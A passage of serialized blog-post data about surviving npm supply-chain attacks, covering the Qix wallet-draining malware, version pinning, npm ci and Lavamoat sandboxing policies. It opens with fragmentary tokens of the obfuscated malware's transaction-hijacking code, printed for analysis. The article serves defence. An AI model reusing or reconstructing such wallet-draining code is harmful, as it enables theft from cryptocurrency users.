_0x5ad975",{"type":23,"tag":41,"props":98333,"children":98334},{"style":170},[98335],{"type":28,"value":3017},{"type":23,"tag":41,"props":98337,"children":98338},{"style":858},[98339],{"type":28,"value":97991},{"type":23,"tag":41,"props":98341,"children":98342},{"style":70},[98343],{"type":28,"value":706},{"type":23,"tag":41,"props":98345,"children":98346},{"style":858},[98347],{"type":28,"value":98000},{"type":23,"tag":41,"props":98349,"children":98350},{"style":70},[98351],{"type":28,"value":312},{"type":23,"tag":41,"props":98353,"children":98354},{"style":164},[98355],{"type":28,"value":4024},{"type":23,"tag":41,"props":98357,"children":98358},{"style":70},[98359],{"type":28,"value":31568},{"type":23,"tag":41,"props":98361,"children":98362},{"class":43,"line":1058},[98363,98367,98371,98376,98380,98385],{"type":23,"tag":41,"props":98364,"children":98365},{"style":58},[98366],{"type":28,"value":39279},{"type":23,"tag":41,"props":98368,"children":98369},{"style":70},[98370],{"type":28,"value":142},{"type":23,"tag":41,"props":98372,"children":98373},{"style":858},[98374],{"type":28,"value":98375},"_0x5ad975",{"type":23,"tag":41,"props":98377,"children":98378},{"style":70},[98379],{"type":28,"value":706},{"type":23,"tag":41,"props":98381,"children":98382},{"style":858},[98383],{"type":28,"value":98384},"transaction",{"type":23,"tag":41,"props":98386,"children":98387},{"style":70},[98388],{"type":28,"value":152},{"type":23,"tag":41,"props":98390,"children":98391},{"class":43,"line":1084},[98392,98397,98401,98405,98409,98413],{"type":23,"tag":41,"props":98393,"children":98394},{"style":858},[98395],{"type":28,"value":98396},"        _0x5ad975",{"type":23,"tag":41,"props":98398,"children":98399},{"style":170},[98400],{"type":28,"value":3017},{"type":23,"tag":41,"props":98402,"children":98403},{"style":858},[98404],{"type":28,"value":98331},{"type":23,"tag":41,"props":98406,"children":98407},{"style":70},[98408],{"type":28,"value":706},{"type":23,"tag":41,"props":98410,"children":98411},{"style":858},[98412],{"type":28,"value":98384},{"type":23,"tag":41,"props":98414,"children":98415},{"style":70},[98416],{"type":28,"value":183},{"type":23,"tag":41,"props":98418,"children":98419},{"class":43,"line":1102},[98420],{"type":23,"tag":41,"props":98421,"children":98422},{"style":70},[98423],{"type":28,"value":12659},{"type":23,"tag":41,"props":98425,"children":98426},{"class":43,"line":1110},[98427,98431,98436,98440,98444,98448,98452,98456,98460],{"type":23,"tag":41,"props":98428,"children":98429},{"style":64},[98430],{"type":28,"value":31541},{"type":23,"tag":41,"props":98432,"children":98433},{"style":858},[98434],{"type":28,"value":98435}," _0x5dbe63",{"type":23,"tag":41,"props":98437,"children":98438},{"style":170},[98439],{"type":28,"value":3017},{"type":23,"tag":41,"props":98441,"children":98442},{"style":114},[98443],{"type":28,"value":98060},{"type":23,"tag":41,"props":98445,"children":98446},{"style":70},[98447],{"type":28,"value":1737},{"type":23,"tag":41,"props":98449,"children":98450},{"style":858},[98451],{"type":28,"value":98375},{"type":23,"tag":41,"props":98453,"children":98454},{"style":70},[98455],{"type":28,"value":970},{"type":23,"tag":41,"props":98457,"children":98458},{"style":64},[98459],{"type":28,"value":8174},{"type":23,"tag":41,"props":98461,"children":98462},{"style":70},[98463],{"type":28,"value":3825},{"type":23,"tag":41,"props":98465,"children":98466},{"class":43,"line":1118},[98467,98471,98475,98479,98483,98487,98491,98495,98499,98503],{"type":23,"tag":41,"props":98468,"children":98469},{"style":58},[98470],{"type":28,"value":39279},{"type":23,"tag":41,"props":98472,"children":98473},{"style":70},[98474],{"type":28,"value":142},{"type":23,"tag":41,"props":98476,"children":98477},{"style":858},[98478],{"type":28,"value":97965},{"type":23,"tag":41,"props":98480,"children":98481},{"style":70},[98482],{"type":28,"value":706},{"type":23,"tag":41,"props":98484,"children":98485},{"style":858},[98486],{"type":28,"value":98000},{"type":23,"tag":41,"props":98488,"children":98489},{"style":70},[98490],{"type":28,"value":312},{"type":23,"tag":41,"props":98492,"children":98493},{"style":164},[98494],{"type":28,"value":4024},{"type":23,"tag":41,"props":98496,"children":98497},{"style":70},[98498],{"type":28,"value":50343},{"type":23,"tag":41,"props":98500,"children":98501},{"style":858},[98502],{"type":28,"value":98384},{"type":23,"tag":41,"props":98504,"children":98505},{"style":70},[98506],{"type":28,"value":152},{"type":23,"tag":41,"props":98508,"children":98509},{"class":43,"line":1137},[98510,98515,98519,98523,98527,98531,98535,98539,98543,98547],{"type":23,"tag":41,"props":98511,"children":98512},{"style":858},[98513],{"type":28,"value":98514},"        _0x2c3d7e",{"type":23,"tag":41,"props":98516,"children":98517},{"style":70},[98518],{"type":28,"value":706},{"type":23,"tag":41,"props":98520,"children":98521},{"style":858},[98522],{"type":28,"value":98000},{"type":23,"tag":41,"props":98524,"children":98525},{"style":70},[98526],{"type":28,"value":312},{"type":23,"tag":41,"props":98528,"children":98529},{"style":164},[98530],{"type":28,"value":4024},{"type":23,"tag":41,"props":98532,"children":98533},{"style":70},[98534],{"type":28,"value":50343},{"type":23,"tag":41,"props":98536,"children":98537},{"style":858},[98538],{"type":28,"value":98384},{"type":23,"tag":41,"props":98540,"children":98541},{"style":170},[98542],{"type":28,"value":3017},{"type":23,"tag":41,"props":98544,"children":98545},{"style":858},[98546],{"type":28,"value":98435},{"type":23,"tag":41,"props":98548,"children":98549},{"style":70},[98550],{"type":28,"value":183},{"type":23,"tag":41,"props":98552,"children":98553},{"class":43,"line":1163},[98554,98558,98562],{"type":23,"tag":41,"props":98555,"children":98556},{"style":70},[98557],{"type":28,"value":38933},{"type":23,"tag":41,"props":98559,"children":98560},{"style":58},[98561],{"type":28,"value":3315},{"type":23,"tag":41,"props":98563,"children":98564},{"style":70},[98565],{"type":28,"value":102},{"type":23,"tag":41,"props":98567,"children":98568},{"class":43,"line":1188},[98569,98573,98577,98581,98585,98589,98593,98597,98601],{"type":23,"tag":41,"props":98570,"children":98571},{"style":858},[98572],{"type":28,"value":98514},{"type":23,"tag":41,"props":98574,"children":98575},{"style":70},[98576],{"type":28,"value":706},{"type":23,"tag":41,"props":98578,"children":98579},{"style":858},[98580],{"type":28,"value":98000},{"type":23,"tag":41,"props":98582,"children":98583},{"style":70},[98584],{"type":28,"value":312},{"type":23,"tag":41,"props":98586,"children":98587},{"style":164},[98588],{"type":28,"value":4024},{"type":23,"tag":41,"props":98590,"children":98591},{"style":70},[98592],{"type":28,"value":8659},{"type":23,"tag":41,"props":98594,"children":98595},{"style":170},[98596],{"type":28,"value":2381},{"type":23,"tag":41,"props":98598,"children":98599},{"style":858},[98600],{"type":28,"value":98435},{"type":23,"tag":41,"props":98602,"children":98603},{"style":70},[98604],{"type":28,"value":183},{"type":23,"tag":41,"props":98606,"children":98607},{"class":43,"line":1979},[98608],{"type":23,"tag":41,"props":98609,"children":98610},{"style":70},[98611],{"type":28,"value":12659},{"type":23,"tag":41,"props":98613,"children":98614},{"class":43,"line":2002},[98615,98619,98623,98627,98632],{"type":23,"tag":41,"props":98616,"children":98617},{"style":70},[98618],{"type":28,"value":15768},{"type":23,"tag":41,"props":98620,"children":98621},{"style":58},[98622],{"type":28,"value":48405},{"type":23,"tag":41,"props":98624,"children":98625},{"style":70},[98626],{"type":28,"value":142},{"type":23,"tag":41,"props":98628,"children":98629},{"style":858},[98630],{"type":28,"value":98631},"_0x4b99fd",{"type":23,"tag":41,"props":98633,"children":98634},{"style":70},[98635],{"type":28,"value":98161},{"type":23,"tag":41,"props":98637,"children":98638},{"class":43,"line":3835},[98639],{"type":23,"tag":41,"props":98640,"children":98641},{"style":70},[98642],{"type":28,"value":5872},{"type":23,"tag":41,"props":98644,"children":98645},{"class":43,"line":3895},[98646],{"type":23,"tag":41,"props":98647,"children":98648},{"style":70},[98649],{"type":28,"value":201},{"type":23,"tag":546,"props":98651,"children":98653},{"id":98652},"impact-of-the-attack",[98654],{"type":28,"value":98655},"Impact of the Attack",{"type":23,"tag":24,"props":98657,"children":98658},{},[98659],{"type":28,"value":98660},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":446,"props":98662,"children":98664},{"id":98663},"why-it-will-happen-again",[98665],{"type":28,"value":98666},"Why It Will Happen Again",{"type":23,"tag":24,"props":98668,"children":98669},{},[98670],{"type":28,"value":98671},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":24,"props":98673,"children":98674},{},[98675],{"type":28,"value":98676},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":446,"props":98678,"children":98680},{"id":98679},"what-developers-can-do",[98681],{"type":28,"value":98682},"What Developers Can Do",{"type":23,"tag":24,"props":98684,"children":98685},{},[98686],{"type":28,"value":98687},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":546,"props":98689,"children":98691},{"id":98690},"_1-version-pinning-in-packagejson",[98692,98694],{"type":28,"value":98693},"1. Version pinning in ",{"type":23,"tag":37,"props":98695,"children":98697},{"className":98696},[],[98698],{"type":28,"value":98699},"package.json",{"type":23,"tag":24,"props":98701,"children":98702},{},[98703],{"type":28,"value":98704},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":24,"props":98706,"children":98707},{},[98708,98710,98716,98718,98723,98725,98730],{"type":28,"value":98709},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":37,"props":98711,"children":98713},{"className":98712},[],[98714],{"type":28,"value":98715},"npm install",{"type":28,"value":98717},". To pin it, just make sure to remove the caret ",{"type":23,"tag":37,"props":98719,"children":98721},{"className":98720},[],[98722],{"type":28,"value":48928},{"type":28,"value":98724}," symbol before the version in ",{"type":23,"tag":37,"props":98726,"children":98728},{"className":98727},[],[98729],{"type":28,"value":98699},{"type":28,"value":1474},{"type":23,"tag":31,"props":98732,"children":98734},{"code":98733,"language":33991,"meta":7,"className":33989,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[98735],{"type":23,"tag":37,"props":98736,"children":98737},{"__ignoreMap":7},[98738,98759,98780,98801],{"type":23,"tag":41,"props":98739,"children":98740},{"class":43,"line":44},[98741,98746,98750,98755],{"type":23,"tag":41,"props":98742,"children":98743},{"style":735},[98744],{"type":28,"value":98745},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":41,"props":98747,"children":98748},{"style":70},[98749],{"type":28,"value":1418},{"type":23,"tag":41,"props":98751,"children":98752},{"style":735},[98753],{"type":28,"value":98754},"\"1.23.1\"",{"type":23,"tag":41,"props":98756,"children":98757},{"style":70},[98758],{"type":28,"value":3506},{"type":23,"tag":41,"props":98760,"children":98761},{"class":43,"line":54},[98762,98767,98771,98776],{"type":23,"tag":41,"props":98763,"children":98764},{"style":735},[98765],{"type":28,"value":98766},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":41,"props":98768,"children":98769},{"style":70},[98770],{"type":28,"value":1418},{"type":23,"tag":41,"props":98772,"children":98773},{"style":735},[98774],{"type":28,"value":98775},"\"8.3.0\"",{"type":23,"tag":41,"props":98777,"children":98778},{"style":70},[98779],{"type":28,"value":3506},{"type":23,"tag":41,"props":98781,"children":98782},{"class":43,"line":76},[98783,98788,98792,98797],{"type":23,"tag":41,"props":98784,"children":98785},{"style":735},[98786],{"type":28,"value":98787},"\"@react-native-community/netinfo\"",{"type":23,"tag":41,"props":98789,"children":98790},{"style":70},[98791],{"type":28,"value":1418},{"type":23,"tag":41,"props":98793,"children":98794},{"style":735},[98795],{"type":28,"value":98796},"\"11.4.1\"",{"type":23,"tag":41,"props":98798,"children":98799},{"style":70},[98800],{"type":28,"value":3506},{"type":23,"tag":41,"props":98802,"children":98803},{"class":43,"line":85},[98804,98809,98813],{"type":23,"tag":41,"props":98805,"children":98806},{"style":735},[98807],{"type":28,"value":98808},"\"@react-native-picker/picker\"",{"type":23,"tag":41,"props":98810,"children":98811},{"style":70},[98812],{"type":28,"value":1418},{"type":23,"tag":41,"props":98814,"children":98815},{"style":735},[98816],{"type":28,"value":98817},"\"2.11.0\"\n",{"type":23,"tag":546,"props":98819,"children":98821},{"id":98820},"_2-use-npm-ci",[98822,98824],{"type":28,"value":98823},"2. Use ",{"type":23,"tag":37,"props":98825,"children":98827},{"className":98826},[],[98828],{"type":28,"value":98829},"npm ci",{"type":23,"tag":24,"props":98831,"children":98832},{},[98833,98838,98840,98846,98848,98853],{"type":23,"tag":37,"props":98834,"children":98836},{"className":98835},[],[98837],{"type":28,"value":98829},{"type":28,"value":98839}," uses the dependency versions from ",{"type":23,"tag":37,"props":98841,"children":98843},{"className":98842},[],[98844],{"type":28,"value":98845},"package-lock.json",{"type":28,"value":98847}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":37,"props":98849,"children":98851},{"className":98850},[],[98852],{"type":28,"value":98715},{"type":28,"value":98854}," when adding a new package or updating an existing one.",{"type":23,"tag":546,"props":98856,"children":98858},{"id":98857},"_3-implement-lavamoat",[98859,98861],{"type":28,"value":98860},"3. Implement ",{"type":23,"tag":458,"props":98862,"children":98865},{"href":98863,"rel":98864},"https://github.com/LavaMoat/LavaMoat/tree/main",[462],[98866],{"type":23,"tag":510,"props":98867,"children":98868},{},[98869],{"type":28,"value":98870},"Lavamoat",{"type":23,"tag":24,"props":98872,"children":98873},{},[98874],{"type":28,"value":98875},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":24,"props":98877,"children":98878},{},[98879],{"type":28,"value":98880},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":23,"tag":31,"props":98882,"children":98884},{"code":98883,"language":33991,"meta":7,"className":33989,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[98885],{"type":23,"tag":37,"props":98886,"children":98887},{"__ignoreMap":7},[98888,98900,98912,98923,98939,98946,98953,98965,98976,98996,99012,99019,99030,99050,99066,99073,99080],{"type":23,"tag":41,"props":98889,"children":98890},{"class":43,"line":44},[98891,98896],{"type":23,"tag":41,"props":98892,"children":98893},{"style":735},[98894],{"type":28,"value":98895},"\"resources\"",{"type":23,"tag":41,"props":98897,"children":98898},{"style":70},[98899],{"type":28,"value":37017},{"type":23,"tag":41,"props":98901,"children":98902},{"class":43,"line":54},[98903,98908],{"type":23,"tag":41,"props":98904,"children":98905},{"style":858},[98906],{"type":28,"value":98907},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":41,"props":98909,"children":98910},{"style":70},[98911],{"type":28,"value":37017},{"type":23,"tag":41,"props":98913,"children":98914},{"class":43,"line":76},[98915,98919],{"type":23,"tag":41,"props":98916,"children":98917},{"style":858},[98918],{"type":28,"value":37025},{"type":23,"tag":41,"props":98920,"children":98921},{"style":70},[98922],{"type":28,"value":37017},{"type":23,"tag":41,"props":98924,"children":98925},{"class":43,"line":85},[98926,98931,98935],{"type":23,"tag":41,"props":98927,"children":98928},{"style":858},[98929],{"type":28,"value":98930},"        \"TextEncoder\"",{"type":23,"tag":41,"props":98932,"children":98933},{"style":70},[98934],{"type":28,"value":1418},{"type":23,"tag":41,"props":98936,"children":98937},{"style":64},[98938],{"type":28,"value":37186},{"type":23,"tag":41,"props":98940,"children":98941},{"class":43,"line":105},[98942],{"type":23,"tag":41,"props":98943,"children":98944},{"style":70},[98945],{"type":28,"value":12659},{"type":23,"tag":41,"props":98947,"children":98948},{"class":43,"line":155},[98949],{"type":23,"tag":41,"props":98950,"children":98951},{"style":70},[98952],{"type":28,"value":25380},{"type":23,"tag":41,"props":98954,"children":98955},{"class":43,"line":186},[98956,98961],{"type":23,"tag":41,"props":98957,"children":98958},{"style":858},[98959],{"type":28,"value":98960},"    \"@ethereumjs/util\"",{"type":23,"tag":41,"props":98962,"children":98963},{"style":70},[98964],{"type":28,"value":37017},{"type":23,"tag":41,"props":98966,"children":98967},{"class":43,"line":195},[98968,98972],{"type":23,"tag":41,"props":98969,"children":98970},{"style":858},[98971],{"type":28,"value":37025},{"type":23,"tag":41,"props":98973,"children":98974},{"style":70},[98975],{"type":28,"value":37017},{"type":23,"tag":41,"props":98977,"children":98978},{"class":43,"line":905},[98979,98984,98988,98992],{"type":23,"tag":41,"props":98980,"children":98981},{"style":858},[98982],{"type":28,"value":98983},"        \"console.warn\"",{"type":23,"tag":41,"props":98985,"children":98986},{"style":70},[98987],{"type":28,"value":1418},{"type":23,"tag":41,"props":98989,"children":98990},{"style":64},[98991],{"type":28,"value":3996},{"type":23,"tag":41,"props":98993,"children":98994},{"style":70},[98995],{"type":28,"value":3506},{"type":23,"tag":41,"props":98997,"children":98998},{"class":43,"line":922},[98999,99004,99008],{"type":23,"tag":41,"props":99000,"children":99001},{"style":858},[99002],{"type":28,"value":99003},"        \"fetch\"",{"type":23,"tag":41,"props":99005,"children":99006},{"style":70},[99007],{"type":28,"value":1418},{"type":23,"tag":41,"props":99009,"children":99010},{"style":64},[99011],{"type":28,"value":37186},{"type":23,"tag":41,"props":99013,"children":99014},{"class":43,"line":930},[99015],{"type":23,"tag":41,"props":99016,"children":99017},{"style":70},[99018],{"type":28,"value":37194},{"type":23,"tag":41,"props":99020,"children":99021},{"class":43,"line":939},[99022,99026],{"type":23,"tag":41,"props":99023,"children":99024},{"style":858},[99025],{"type":28,"value":37202},{"type":23,"tag":41,"props":99027,"children":99028},{"style":70},[99029],{"type":28,"value":37017},{"type":23,"tag":41,"props":99031,"children":99032},{"class":43,"line":947},[99033,99038,99042,99046],{"type":23,"tag":41,"props":99034,"children":99035},{"style":858},[99036],{"type":28,"value":99037},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":41,"props":99039,"children":99040},{"style":70},[99041],{"type":28,"value":1418},{"type":23,"tag":41,"props":99043,"children":99044},{"style":64},[99045],{"type":28,"value":3996},{"type":23,"tag":41,"props":99047,"children":99048},{"style":70},[99049],{"type":28,"value":3506},{"type":23,"tag":41,"props":99051,"children":99052},{"class":43,"line":985},[99053,99058,99062],{"type":23,"tag":41,"props":99054,"children":99055},{"style":858},[99056],{"type":28,"value":99057},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":41,"props":99059,"children":99060},{"style":70},[99061],{"type":28,"value":1418},{"type":23,"tag":41,"props":99063,"children":99064},{"style":64},[99065],{"type":28,"value":37186},{"type":23,"tag":41,"props":99067,"children":99068},{"class":43,"line":1058},[99069],{"type":23,"tag":41,"props":99070,"children":99071},{"style":70},[99072],{"type":28,"value":12659},{"type":23,"tag":41,"props":99074,"children":99075},{"class":43,"line":1084},[99076],{"type":23,"tag":41,"props":99077,"children":99078},{"style":70},[99079],{"type":28,"value":192},{"type":23,"tag":41,"props":99081,"children":99082},{"class":43,"line":1102},[99083],{"type":23,"tag":41,"props":99084,"children":99085},{"style":70},[99086],{"type":28,"value":201},{"type":23,"tag":24,"props":99088,"children":99089},{},[99090,99092,99098,99100,99106,99107,99112,99114,99120,99121,99127],{"type":28,"value":99091},"In this example, it restricts the ",{"type":23,"tag":37,"props":99093,"children":99095},{"className":99094},[],[99096],{"type":28,"value":99097},"@ethereumjs/util",{"type":28,"value":99099}," package to use only ",{"type":23,"tag":37,"props":99101,"children":99103},{"className":99102},[],[99104],{"type":28,"value":99105},"console.warn",{"type":28,"value":1361},{"type":23,"tag":37,"props":99108,"children":99110},{"className":99109},[],[99111],{"type":28,"value":34088},{"type":28,"value":99113}," functions, and to include only ",{"type":23,"tag":37,"props":99115,"children":99117},{"className":99116},[],[99118],{"type":28,"value":99119},"@ethereumjs/rlp",{"type":28,"value":1361},{"type":23,"tag":37,"props":99122,"children":99124},{"className":99123},[],[99125],{"type":28,"value":99126},"ethereum-cryptography",{"type":28,"value":99128}," packages.",{"type":23,"tag":24,"props":99130,"children":99131},{},[99132],{"type":28,"value":99133},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":24,"props":99135,"children":99136},{},[99137,99139,99145],{"type":28,"value":99138},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":458,"props":99140,"children":99143},{"href":99141,"rel":99142},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[462],[99144],{"type":28,"value":37372},{"type":28,"value":706},{"type":23,"tag":546,"props":99147,"children":99149},{"id":99148},"lavamoat-vs-qix-malware",[99150],{"type":28,"value":99151},"Lavamoat vs Qix Malware",{"type":23,"tag":24,"props":99153,"children":99154},{},[99155,99157,99162],{"type":28,"value":99156},"If a dApp were compromised with the Qix malware (say it used ",{"type":23,"tag":37,"props":99158,"children":99160},{"className":99159},[],[99161],{"type":28,"value":97002},{"type":28,"value":99163},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":5436,"props":99165,"children":99166},{},[99167,99179,99190,99201],{"type":23,"tag":421,"props":99168,"children":99169},{},[99170,99172,99177],{"type":28,"value":99171},"Replace ",{"type":23,"tag":37,"props":99173,"children":99175},{"className":99174},[],[99176],{"type":28,"value":34088},{"type":28,"value":99178}," function to a custom one",{"type":23,"tag":421,"props":99180,"children":99181},{},[99182,99184],{"type":28,"value":99183},"Access ",{"type":23,"tag":37,"props":99185,"children":99187},{"className":99186},[],[99188],{"type":28,"value":99189},"window.ethereum",{"type":23,"tag":421,"props":99191,"children":99192},{},[99193,99195,99200],{"type":28,"value":99194},"Call original ",{"type":23,"tag":37,"props":99196,"children":99198},{"className":99197},[],[99199],{"type":28,"value":34088},{"type":28,"value":669},{"type":23,"tag":421,"props":99202,"children":99203},{},[99204],{"type":28,"value":99205},"Plus other actions not relevant here",{"type":23,"tag":24,"props":99207,"children":99208},{},[99209,99211,99217],{"type":28,"value":99210},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":37,"props":99212,"children":99214},{"className":99213},[],[99215],{"type":28,"value":99216},"chalk 5.6.0",{"type":28,"value":99218}," (non-malicious version) it would look like this:",{"type":23,"tag":31,"props":99220,"children":99222},{"code":99221,"language":33991,"meta":7,"className":33989,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[99223],{"type":23,"tag":37,"props":99224,"children":99225},{"__ignoreMap":7},[99226,99238,99249,99269,99285,99292],{"type":23,"tag":41,"props":99227,"children":99228},{"class":43,"line":44},[99229,99234],{"type":23,"tag":41,"props":99230,"children":99231},{"style":735},[99232],{"type":28,"value":99233},"\"chalk\"",{"type":23,"tag":41,"props":99235,"children":99236},{"style":70},[99237],{"type":28,"value":37017},{"type":23,"tag":41,"props":99239,"children":99240},{"class":43,"line":54},[99241,99245],{"type":23,"tag":41,"props":99242,"children":99243},{"style":858},[99244],{"type":28,"value":37025},{"type":23,"tag":41,"props":99246,"children":99247},{"style":70},[99248],{"type":28,"value":37017},{"type":23,"tag":41,"props":99250,"children":99251},{"class":43,"line":76},[99252,99257,99261,99265],{"type":23,"tag":41,"props":99253,"children":99254},{"style":858},[99255],{"type":28,"value":99256},"        \"navigator.userAgent\"",{"type":23,"tag":41,"props":99258,"children":99259},{"style":70},[99260],{"type":28,"value":1418},{"type":23,"tag":41,"props":99262,"children":99263},{"style":64},[99264],{"type":28,"value":3996},{"type":23,"tag":41,"props":99266,"children":99267},{"style":70},[99268],{"type":28,"value":3506},{"type":23,"tag":41,"props":99270,"children":99271},{"class":43,"line":85},[99272,99277,99281],{"type":23,"tag":41,"props":99273,"children":99274},{"style":858},[99275],{"type":28,"value":99276},"        \"navigator.userAgentData\"",{"type":23,"tag":41,"props":99278,"children":99279},{"style":70},[99280],{"type":28,"value":1418},{"type":23,"tag":41,"props":99282,"children":99283},{"style":64},[99284],{"type":28,"value":37186},{"type":23,"tag":41,"props":99286,"children":99287},{"class":43,"line":105},[99288],{"type":23,"tag":41,"props":99289,"children":99290},{"style":70},[99291],{"type":28,"value":12659},{"type":23,"tag":41,"props":99293,"children":99294},{"class":43,"line":155},[99295],{"type":23,"tag":41,"props":99296,"children":99297},{"style":70},[99298],{"type":28,"value":25380},{"type":23,"tag":24,"props":99300,"children":99301},{},[99302,99304,99310],{"type":28,"value":99303},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":37,"props":99305,"children":99307},{"className":99306},[],[99308],{"type":28,"value":99309},"navigator",{"type":28,"value":706},{"type":23,"tag":24,"props":99312,"children":99313},{},[99314,99316,99322],{"type":28,"value":99315},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":37,"props":99317,"children":99319},{"className":99318},[],[99320],{"type":28,"value":99321},"chalk v5.6.1",{"type":28,"value":99323}," it would fail due to insufficient permissions:",{"type":23,"tag":24,"props":99325,"children":99326},{},[99327],{"type":23,"tag":3918,"props":99328,"children":99330},{"alt":50573,"src":99329},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":24,"props":99332,"children":99333},{},[99334,99336,99341],{"type":28,"value":99335},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":37,"props":99337,"children":99339},{"className":99338},[],[99340],{"type":28,"value":34088},{"type":28,"value":25467},{"type":23,"tag":31,"props":99343,"children":99345},{"code":99344},"TypeError#1: Cannot define property fetch, object is not extensible\n",[99346],{"type":23,"tag":37,"props":99347,"children":99348},{"__ignoreMap":7},[99349],{"type":28,"value":99344},{"type":23,"tag":446,"props":99351,"children":99353},{"id":99352},"lavamoat-in-practice",[99354],{"type":28,"value":99355},"Lavamoat In Practice",{"type":23,"tag":24,"props":99357,"children":99358},{},[99359,99361,99368],{"type":28,"value":99360},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":458,"props":99362,"children":99365},{"href":99363,"rel":99364},"https://osec.io/reports/lavamoat_audit_final.pdf",[462],[99366],{"type":28,"value":99367},"see the audit report",{"type":28,"value":20729},{"type":23,"tag":24,"props":99370,"children":99371},{},[99372],{"type":28,"value":99373},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":446,"props":99375,"children":99376},{"id":75793},[99377],{"type":28,"value":75796},{"type":23,"tag":24,"props":99379,"children":99380},{},[99381],{"type":28,"value":99382},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":24,"props":99384,"children":99385},{},[99386,99388,99393],{"type":28,"value":99387},"Version pinning and ",{"type":23,"tag":37,"props":99389,"children":99391},{"className":99390},[],[99392],{"type":28,"value":98829},{"type":28,"value":99394}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":2843,"props":99396,"children":99397},{},[99398],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":99400},[99401,99404,99405,99414,99415],{"id":97017,"depth":54,"text":97020,"children":99402},[99403],{"id":98652,"depth":76,"text":98655},{"id":98663,"depth":54,"text":98666},{"id":98679,"depth":54,"text":98682,"children":99406},[99407,99409,99411,99413],{"id":98690,"depth":76,"text":99408},"1. Version pinning in package.json",{"id":98820,"depth":76,"text":99410},"2. Use npm ci",{"id":98857,"depth":76,"text":99412},"3. Implement Lavamoat",{"id":99148,"depth":76,"text":99151},{"id":99352,"depth":54,"text":99355},{"id":75793,"depth":54,"text":75796},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":99420,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99421,"description":99422,"date":99423,"author":99424,"image":99425,"isFeatured":18,"onBlogPage":18,"tags":99427,"body":99430,"_type":2864,"_id":101761,"_source":2866,"_file":101762,"_stem":101763,"_extension":2869},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to 